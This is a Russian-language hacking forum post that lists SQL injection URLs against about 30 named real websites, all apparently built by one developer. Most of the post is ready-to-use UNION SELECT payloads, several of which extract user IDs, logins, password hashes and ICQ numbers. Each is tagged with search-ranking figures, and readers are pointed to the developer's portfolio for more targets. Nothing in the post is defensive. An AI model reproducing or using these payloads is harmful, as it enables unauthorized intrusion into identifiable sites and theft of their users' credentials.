|
Участник форума
Регистрация: 17.04.2010
Сообщений: 221
Провел на форуме: 344917
Репутация:
17
|
|
Привет всем! На днях нашёл уязвимый сайт. Смотрю, внизу стоит ссылка на разраюотчика, я естественно перешёл по ней и все сайты оказались... уязвимы! Их было около 30. Но, вот в чём была проблема, у всех одинаковые хеши, увы, рассшифровать их, никто не смог (на Ачате). Вот сам сайт разработчика webinstruments.ru . Снизу, скуля на нём
Сообщение от None
http://webinstruments.ru/?part=news&newsid=-4+union+select+1,concat_ws%280x3a,ID,Login,Passwor d%29,3,4,5,6,7,8,9,0,1,2+from+FE_se_users--
ТИЦ10(R2) PR2
Сообщение от None
http://ures.ru/?subsectionid=21+union+select+1,2,3,4,5,6,7,8,9,0, 1,2,3,4%20--
ТИЦ10(R2)
Сообщение от None
http://www.bbp-alians.ru/?part=projects&movieid=-12+union+select+1,concat_ws%280x3a,ID,Login,Passwo rd,ICQ%29,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9+from+a lliance_users--
ТТИЦ10(R2) PR2
Сообщение от None
http://www.map-wzm.ru/?part=news&newsid=-2+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3--
ТИЦ10(R2) PR1
Сообщение от None
http://petersburg-tour.ru/?part=ny&subsectionid=-226+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5%20--
ТИЦ40YC(R3) PR4
Сообщение от None
http://kino-focus.ru/?part=projects&elementid=17+union+select+1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5%20--
Сообщение от None
http://www.shefgoda.ru/?part=news&newsid=-36+union+select+1,concat_ws(0x3a,Login,Password,IC Q),3,4,5,6,7,8,9,0,1,2+from+chief_users --
ТИЦ60(R3) PR3
Сообщение от None
http://www.moscowatch.ru/swissmade_brand.php?BrandId=-2+union+select+1,2,3--
ТИЦ70YC(R3) PR5
Сообщение от None
http://www.goldenpuzzle.ru/?part=gallery§ion=code4&subsectionid=-1276+union+select+1,concat_ws%280x3a,Login,Passwor d,ICQ%29,3,4,5,6,7,8,9,0,1,2,3,4,5,6+from+puzzle_u sers--
ТИЦ20(R2) PR20
Сообщение от None
http://www.fregat-blagodat.ru/?part=events&newsid=21+union+select+1,concat_ws(0x 3a,Login,Password,ICQ),3,4,5,6,7,8,9,0,1,2+from+co n_sltr__users--
ТИЦ20(R2) PR2
Сообщение от None
http://www.pravdinskoe.ru/?part=news&newsid=29+union+select+1,2,3,4,5,6,7,8, 9,0,1,2,3%20--
ТИЦ20(R2)
Сообщение от None
http://www.lmarsh.spb.ru/?part=portfolio&elementid=-34+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5--
Сообщение от None
http://www.mens-gifts.ru/?part=gallery&elementid=-28+union+select+1,2,3,4,5,6,7,8,9,0--
ТИЦ10(R2) PR1
Сообщение от None
http://www.lightinside.ru/?part=catalog§ion=eglo&subsectionid=-16+union+select+1,2,3,4,5,6,7,8,9,0,1%20--
ТИЦ10YC(R2) PR1
P.S
Это ещё не все сайты. Смотрите остальные в портфолио разработчика
Удачи!
|